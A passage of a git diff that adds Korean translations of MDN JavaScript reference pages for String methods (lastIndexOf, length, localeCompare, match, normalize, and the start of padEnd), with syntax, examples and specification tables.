+<p>문자열의 문자는 왼쪽에서 오른쪽으로 인덱스를 매깁니다. 첫 번째 문자의 인덱스는 <code>0</code>이며, 마지막 문자의 인덱스는 <code>str.length -1</code>입니다.</p>
+
+<pre class="brush: js notranslate">'canal'.lastIndexOf('a');     //  3 반환
+'canal'.lastIndexOf('a', 2);  //  1 반환
+'canal'.lastIndexOf('a', 0);  // -1 반환
+'canal'.lastIndexOf('x');     // -1 반환
+'canal'.lastIndexOf('c', -5); //  0 반환
+'canal'.lastIndexOf('c', 0);  //  0 반환
+'canal'.lastIndexOf('');      //  5 반환
+'canal'.lastIndexOf('', 2);   //  2 반환
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>'abab'.lastIndexOf('ab', 2)</code>는 0이 아니고 2를 반환합니다. <code>fromIndex</code>는 탐색의 시작점만 제한하기 때문입니다.</p>
+</div>
+
+<h3 id="대소문자_구분">대소문자 구분</h3>
+
+<p><code>lastIndexOf()</code> 메서드는 대소문자를 구분합니다. 예를 들어, 아래 예제는 <code>-1</code>을 반환합니다.</p>
+
+<pre class="brush: js notranslate">'Blue Whale, Killer Whale'.lastIndexOf('blue'); // -1 반환
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="indexOf와_lastIndexOf_사용하기"><code>indexOf()</code>와 <code>lastIndexOf()</code> 사용하기</h3>
+
+<p>아래 예제는 문자열 <code>"Brave new world"</code> 내에서 특정 값의 위치를 확인하기 위해 {{jsxref("String.prototype.indexOf()", "indexOf()")}}와 <code>lastIndexOf()</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">let anyString = 'Brave new world';
+
+console.log('시작점으로부터 처음 만나는 w의 위치는 ' + anyString.indexOf('w'));
+// logs 8
+console.log('끝점으로부터 처음 만나는 w의 위치는 ' + anyString.lastIndexOf('w'));
+// logs 10
+console.log('시작점으로부터 처음 만나는 "new"의 위치는 ' + anyString.indexOf('new'));
+// logs 6
+console.log('끝점으로부터 처음 만나는 "new"의 위치는 ' + anyString.lastIndexOf('new'));
+// logs 6
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.lastindexof', 'String.prototype.lastIndexOf')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.lastIndexOf")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/length/index.html b/files/ko/web/javascript/reference/global_objects/string/length/index.html
new file mode 100644
index 0000000000..697957aaf9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/length/index.html
@@ -0,0 +1,84 @@
+---
+title: String.length
+slug: Web/JavaScript/Reference/Global_Objects/String/length
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/length
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>length</code></strong> 속성은 UTF-16 코드 유닛을 기준으로 문자열의 길이를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-length.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code> 속성은 문자열 안의 코드 유닛 수를 반환합니다. JavaScript가 사용하는 문자열 형식인 {{interwiki("wikipedia", "UTF-16")}}은 대부분의 일반적인 문자를 표현하기 위해 하나의 16비트 코드 유닛을 사용합니다. 반면, 덜 쓰이는 문자를 표현하기 위해 2개의 코드 유닛을 사용해야 할 때도 있으므로 문자열 내에 있는 문자들의 실제 총 숫자가 <code>length</code> 속성이 반환하는 숫자와 일치하지 않을 수 있습니다.</p>
+
+<p>ECMAScript 2016 7판은 최대 길이를 <code>2^53 - 1</code>로 설정했습니다. 이전엔 명시된 최대 길이가 없었습니다.</p>
+
+<p>빈 문자열은 <code>length</code>가 0입니다.</p>
+
+<p>정적 속성 <code>String.length</code>는 1을 반환합니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="일반적인_사용법">일반적인 사용법</h3>
+
+<pre class="brush: js">var x = 'Mozilla';
+var empty = '';
+
+console.log('Mozilla는 코드 유닛 ' + x.length + '개의 길이입니다.');
+/* "Mozilla는 코드 유닛 7개의 길이입니다." */
+
+console.log('빈 문자열은 ' + empty.length + '의 길이를 가집니다.');
+/* "빈 문자열은 0의 길이를 가집니다." */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.5.1', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-string-instances-length', 'String.prototype.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.length")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://developer.teradata.com/blog/jasonstrimpel/2011/11/javascript-string-length-and-internationalizing-web-applications">JavaScript <code>String.length</code> and Internationalizing Web Applications</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/localecompare/index.html b/files/ko/web/javascript/reference/global_objects/string/localecompare/index.html
new file mode 100644
index 0000000000..9bd3b19236
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/localecompare/index.html
@@ -0,0 +1,159 @@
+---
+title: String.prototype.localeCompare()
+slug: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+translation_of: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>localeCompare()</code></strong> 메서드는 기준 문자열과 비교했을 때 비교 대상 문자열이 정렬상 전에 오는지, 후에 오는지 혹은 같은 순서에 배치되는지를 알려주는 숫자를 리턴합니다.</p>
+
+<p>The new <code>locales</code> and <code>options</code> arguments let applications specify the language whose sort order should be used and customize the behavior of the function. In older implementations, which ignore the <code>locales</code> and <code>options</code> arguments, the locale and sort order used are entirely implementation dependent.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>referenceStr</var>.localeCompare(<var>compareString</var>[, <var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>Check the <a href="#Browser_compatibility">Browser compatibility</a> section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="#Checking_for_support_for_locales_and_options_arguments">Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p>
+
+<dl>
+ <dt><code>compareString</code></dt>
+ <dd>The string against which the referring string is compared</dd>
+</dl>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Collator', 'Parameters')}}</div>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A <strong>negative</strong> number if the reference string occurs before the compare string; <strong>positive</strong> if the reference string occurs after the compare string; <strong>0</strong> if they are equivalent.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Returns an integer indicating whether the <strong>referenceStr</strong> comes before, after or is equivalent to the <strong>compareStr</strong>.</p>
+
+<ul>
+ <li>Negative when the <strong>referenceStr</strong> occurs before <strong>compareStr</strong></li>
+ <li>Positive when the <strong>referenceStr</strong> occurs after <strong>compareStr</strong></li>
+ <li>Returns 0 if they are equivalent</li>
+</ul>
+
+<p><strong>DO NOT rely on exact return values of -1 or 1. </strong>Negative and positive integer results vary between browsers (as well as between browser versions) because the W3C specification only mandates negative and positive values. Some browsers may return -2 or 2 or even some other negative or positive value.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_localeCompare()">Using <code>localeCompare()</code></h3>
+
+<pre class="brush: js">// The letter "a" is before "c" yielding a negative value
+'a'.localeCompare('c'); // -2 or -1 (or some other negative value)
+
+// Alphabetically the word "check" comes after "against" yielding a positive value
+'check'.localeCompare('against'); // 2 or 1 (or some other positive value)
+
+// "a" and "a" are equivalent yielding a neutral value of zero
+'a'.localeCompare('a'); // 0
+</pre>
+
+<h3 id="Sort_an_array">Sort an array</h3>
+
+<p><code>localeCompare</code> enables a case-insensitive sort of an array.</p>
+
+<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort((a, b) =&gt; a.localeCompare(b)); // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="Check_browser_support_for_extended_arguments">Check browser support for extended arguments</h3>
+
+<p>The <code>locales</code> and <code>options</code> arguments are not supported in all browsers yet. To check whether an implementation supports them, use the "i" argument (a requirement that illegal language tags are rejected) and look for a {{jsxref("RangeError")}} exception:</p>
+
+<pre class="brush: js">function localeCompareSupportsLocales() {
+  try {
+    'foo'.localeCompare('bar', 'i');
+  } catch (e) {
+    return e.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Using_locales">Using <code>locales</code></h3>
+
+<p>The results provided by <code>localeCompare()</code> vary between languages. In order to get the sort order of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the <code>locales</code> argument:</p>
+
+<pre class="brush: js">console.log('ä'.localeCompare('z', 'de')); // a negative value: in German, ä sorts before z
+console.log('ä'.localeCompare('z', 'sv')); // a positive value: in Swedish, ä sorts after z
+</pre>
+
+<h3 id="Using_options">Using <code>options</code></h3>
+
+<p>The results provided by <code>localeCompare()</code> can be customized using the <code>options</code> argument:</p>
+
+<pre class="brush: js">// in German, ä has a as the base letter
+console.log('ä'.localeCompare('a', 'de', { sensitivity: 'base' })); // 0
+
+// in Swedish, ä and a are separate base letters
+console.log('ä'.localeCompare('a', 'sv', { sensitivity: 'base' })); // a positive value
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>When comparing large numbers of strings, such as in sorting large arrays, it is better to create an {{jsxref("Global_Objects/Collator", "Intl.Collator")}} object and use the function provided by its {{jsxref("Collator.prototype.compare", "compare")}} property.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td><code>locale</code> and <code>option</code> parameter definitions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.localeCompare")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/match/index.html b/files/ko/web/javascript/reference/global_objects/string/match/index.html
new file mode 100644
index 0000000000..e1031b8a0e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/match/index.html
@@ -0,0 +1,156 @@
+---
+title: String.prototype.match()
+slug: Web/JavaScript/Reference/Global_Objects/String/match
+translation_of: Web/JavaScript/Reference/Global_Objects/String/match
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p><strong><code>match()</code></strong> 메서드는 문자열이 정규식과 매치되는 부분을 검색합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>str</var>.match(<var>regexp</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>정규식 개체입니다.  RegExp가 아닌 객체 obj가 전달되면, <code>new RegExp(obj)</code>를 사용하여 암묵적으로 {{jsxref("RegExp")}}로 변환됩니다. 매개변수를 전달하지 않고 match()를 사용하면, 빈 문자열:[""]이 있는 {{jsxref("Array")}}가 반환됩니다.</dd>
+</dl>
+
+<h3 id="결과_값">결과 값</h3>
+
+<p>문자열이 정규식과 일치하면, 일치하는 전체 문자열을 첫 번째 요소로 포함하는 {{jsxref("Array")}}를 반환한 다음 괄호 안에 캡처된 결과가 옵니다. 일치하는 것이 없으면 {{jsxref("null")}}이 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>정규식에 <code>g</code> 플래그가 포함되어있지 않으면, <code>str.match()</code> 는 {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}와 같은 결과를 반환합니다. 반환된 {{jsxref("Array")}}는 원래 문자열의 값을 가지는 <code>input</code> 속성을 포함합니다. 그리고 문자열에서 제로 베이스의 인덱스를 나타내는 <code>index</code> 속성 또한 포함합니다.</p>
+
+<p>정규식에 <code>g</code> 플래그가 포함되어 있으면, 일치는 객체가 아닌 일치하는 하위 문자열을 포함하는 {{jsxref("Array")}}를 반환합니다. 캡처된 그룹은 반환되지 않습니다. 일치하는 것이 없으면 null이 반환됩니다.</p>
+
+<h3 id="이것도_보세요_RegExp_메서드">이것도 보세요: <code>RegExp</code> 메서드</h3>
+
+<ul>
+ <li>문자열이 정규표현식{{jsxref("RegExp")}}과 일치하는지 여부를 알아야할 때, {{jsxref("RegExp.prototype.test()", "RegExp.test()")}}을 이용해보세요.</li>
+ <li>일치하는 것 중 제일 첫번째 것만 알고싶을 때, {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}을 대신에 사용하고 싶을겁니다.</li>
+ <li>캡처 그룹을 알고 싶고 전역 플래그가 셋팅되어 있다면, {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}을 대신에 사용해야합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="match()_사용하기"><code>match()</code> 사용하기</h3>
+
+<p>다음 예제에서는, <code>match()</code>를 사용하여 <code>'Chapter'</code> 라는 단어와 그에 이어지는 1 이상의 숫자, 그리고 그에 이어서 소숫점, 숫자 형태가 반복되는 문자열을 찾는다. 이 정규표현식은 i 플래그를 사용함으로써, 대소문자 구분 없이 찾고자 하는 문자열을 찾는다.</p>
+
+<pre class="brush: js">var str = 'For more information, see Chapter 3.4.5.1';
+var re = /see (chapter \d+(\.\d)*)/i;
+var found = str.match(re);
+
+console.log(found);
+
+// logs [ 'see Chapter 3.4.5.1',
+//        'Chapter 3.4.5.1',
+//        '.1',
+//        index: 22,
+//        input: 'For more information, see Chapter 3.4.5.1' ]
+
+// 'see Chapter 3.4.5.1'는 완전한 매치 상태임.
+// 'Chapter 3.4.5.1'는 '(chapter \d+(\.\d)*)' 부분에 의해 발견된 것임.
+// '.1' 는 '(\.\d)'를 통해 매치된 마지막 값임.
+// 'index' 요소가 (22)라는 것은 0에서부터 셀 때 22번째 위치부터 완전 매치된 문자열이 나타남을 의미함.
+// 'input' 요소는 입력된 원래 문자열을 나타냄.</pre>
+
+<h3 id="match()와_함께_글로벌(g)_및_대소문자_무시(i)_플래그_사용하기"><code>match()</code>와 함께 글로벌(g) 및 대/소문자 무시(i) 플래그 사용하기</h3>
+
+<p>다음 예제는 글로벌(g) 및 대/소문자 무시(i) 플래그를 사용하여  <code>match()</code>를 사용하는 방법을 보여준다. A부터 E 까지의 모든 문자와 a부터 e 까지의 모든 문자가 배열의 각 원소를 구성하는 형태로 반환된다.</p>
+
+<pre class="brush: js">var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+var regexp = /[A-E]/gi;
+var matches_array = str.match(regexp);
+
+console.log(matches_array);
+// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']
+</pre>
+
+<h3 id="매개변수_없이_match()_사용하기">매개변수 없이 <code>match()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = "Nothing will come of nothing.";
+
+str.match();   // returns [""]</pre>
+
+<h3 id="정규표현식이_아닌_객체를_매개변수로_사용하기">정규표현식이 아닌 객체를 매개변수로 사용하기</h3>
+
+<p>매개변수가 문자열이나 숫자(Number)이면, 해당 매개변수는 내부적으로 new RegExp(obj)를 사용하여 {{jsxref("RegExp")}}로 변환된다. 만약 매개변수가 플러스 기호와 이어지는 숫자형이라면, RegExp() 매서드는 플러스 기호를 무시한다. </p>
+
+<pre class="brush: js">var str1 = "NaN means not a number. Infinity contains -Infinity and +Infinity in JavaScript.",
+    str2 = "My grandfather is 65 years old and My grandmother is 63 years old.",
+    str3 = "The contract was declared null and void.";
+str1.match("number");   // "number"는 문자열임. ["number"]를 반환함.
+str1.match(NaN);        // NaN 타입은 숫자형임. ["NaN"]을 반환함.
+str1.match(Infinity);   // Infinity 타입은 숫자형임. ["Infinity"]를 반환함.
+str1.match(+Infinity);  // ["Infinity"]를 반환함.
+str1.match(-Infinity);  // ["-Infinity"]를 반환함.
+str2.match(65);         // ["65"]를 반환함
+str2.match(+65);        // 플러스 기호가 붙은 숫자형. ["65"]를 반환함.
+str3.match(null);       // ["null"]을 반환함.</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터를 기반으로 작성하였습니다. 데이터를 제공하고 싶으시다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 체크하시고, 풀 리퀘스트를 보내주시기 바랍니다.</p>
+
+<p>{{Compat("javascript.builtins.String.match")}}</p>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+</ul>
+
+<ul>
+ <li><code>flags</code> was a non standard second argument only available in Gecko : <var>str</var>.match(<var>regexp, flags</var>)</li>
+ <li>Starting with Gecko 27 {{geckoRelease(27)}}, this method has been adjusted to conform with the ECMAScript specification. When <code>match()</code> is called with a global regular expression, the {{jsxref("RegExp.lastIndex")}} property (if specified) will be reset to <code>0</code> ({{bug(501739)}}).</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/normalize/index.html b/files/ko/web/javascript/reference/global_objects/string/normalize/index.html
new file mode 100644
index 0000000000..d44f9bec99
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/normalize/index.html
@@ -0,0 +1,163 @@
+---
+title: String.prototype.normalize()
+slug: Web/JavaScript/Reference/Global_Objects/String/normalize
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/normalize
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>normalize()</code></strong> 메서드는 주어진 문자열을 유니코드 정규화 방식(Unicode Normalization Form)에 따라 정규화된 형태로 반환합니다. 만약 주어진 값이 문자열이 아닐 경우에는 우선 문자열로 변환 후 정규화합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-normalize.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.normalize([<var>form</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>form</code></dt>
+ <dd>유니코드 정규화 방식을 지정합니다. <code>"NFC"</code>, <code>"NFD"</code>, <code>"NFKC"</code>, <code>"NFKD"</code> 중 하나이며, 생략되거나 {{jsxref("undefined")}} 일 경우 <code>"NFC"</code>가 사용됩니다.
+ <ul>
+  <li><code>NFC</code> — 정규형 정준 결합(Normalization Form Canonical Composition).</li>
+  <li><code>NFD</code> — 정규형 정준 분해(Normalization Form Canonical Decomposition).</li>
+  <li><code>NFKC</code> — 정규형 호환성 결합(Normalization Form Compatibility Composition).</li>
+  <li><code>NFKD</code> — 정규형 호환성 분해(Normalization Form Compatibility Decomposition).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열을 유니코드 정규화 방식에 따라 정규화된 문자열로 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>form</code>이 위에서 명시된 값 중 하나가 아닐 경우 {{jsxref("RangeError")}} 에러가 발생합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>normalize()</code> 메서드는 문자열을 유니코드 정규화 방식에 따라 정규화된 형태로 반환합니다. 문자열의 값 자체에는 영향을 주지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="normalize()_사용하기"><code>normalize()</code> 사용하기</h3>
+
+<pre class="brush: js">// 원본 문자열
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+var str = '\u1E9B\u0323';
+
+
+// 정규형 정준 결합 (NFC)
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+str.normalize('NFC'); // '\u1E9B\u0323'
+str.normalize();      // 위와 같은 결과
+
+
+// 정규형 정준 분해 (NFD)
+
+// U+017F: LATIN SMALL LETTER LONG S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize('NFD'); // '\u017F\u0323\u0307'
+
+
+// 정규형 호환성 결합 (NFKC)
+
+// U+1E69: LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+str.normalize('NFKC'); // '\u1E69'
+
+
+// 정규형 호환성 분해 (NFKD)
+
+// U+0073: LATIN SMALL LETTER S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize('NFKD'); // '\u0073\u0323\u0307'
+</pre>
+
+<h3 id="한글에_normalize()_사용하기">한글에 <code>normalize()</code> 사용하기</h3>
+
+<pre class="brush: js">// 결합된 한글 문자열
+
+// U+D55C: 한(HANGUL SYLLABLE HAN)
+// U+AE00: 글(HANGUL SYLLABLE GEUL)
+var first = '\uD55C\uAE00';
+
+
+// 정규형 정준 분해 (NFD)
+// 정준 분해 결과 초성, 중성, 종성의 자소분리가 일어납니다.
+// 일부 브라우저에서는 결과값 '한글'이 자소분리된 상태로 보여질 수 있습니다.
+
+// U+1112: ᄒ(HANGUL CHOSEONG HIEUH)
+// U+1161: ᅡ(HANGUL JUNGSEONG A)
+// U+11AB: ᆫ(HANGUL JONGSEONG NIEUN)
+// U+1100: ᄀ(HANGUL CHOSEONG KIYEOK)
+// U+1173: ᅳ(HANGUL JUNGSEONG EU)
+// U+11AF: ᆯ(HANGUL JONGSEONG RIEUL)
+var second = first.normalize('NFD'); // '\u1112\u1161\u11AB\u1100\u1173\u11AF'
+
+
+// 정규형 정준 결합 (NFC)
+// 정준 결합 결과 자소분리 되었던 한글이 결합됩니다.
+
+// U+D55C: 한(HANGUL SYLLABLE HAN)
+// U+AE00: 글(HANGUL SYLLABLE GEUL)
+var third = second.normalize('NFC'); // '\uD55C\uAE00'
+
+
+console.log(second === third); // 같은 글자처럼 보이지만 false를 출력합니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.normalize")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://www.unicode.org/reports/tr15/">Unicode Standard Annex #15, Unicode Normalization Forms</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Unicode_equivalence">Unicode equivalence</a></li>
+ <li><a href="https://ko.wikipedia.org/wiki/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C_%EC%A0%95%EA%B7%9C%ED%99%94">유니코드 정규화</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/padend/index.html b/files/ko/web/javascript/reference/global_objects/string/padend/index.html
new file mode 100644
index 0000000000..1c027c1363
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/padend/index.html
@@ -0,0 +1,99 @@
+---
+title: String.prototype.padEnd()
+slug: Web/JavaScript/Reference/Global_Objects/String/padEnd
+tags:
+  - JavaScript
+  - Method
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>padEnd()</code></strong> 메서드는 현재 문자열에 다른 문자열을 채워, 주어진 길이를 만족하는 새로운 문자열을 반환합니다. 채워넣기는 대상 문자열의 끝(우측)부터 적용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-padend.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.padEnd(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>목표 문자열 길이. 현재 문자열의 길이보다 작다면 채워넣지 않고 그대로 반환.</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>현재 문자열에 채워넣을 다른 문자열. 문자열이 너무 길어 목표 문자열 길이를 초과한다면 좌측 일부를 잘라서 넣음. 기본값은 " ". (U+0020)</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
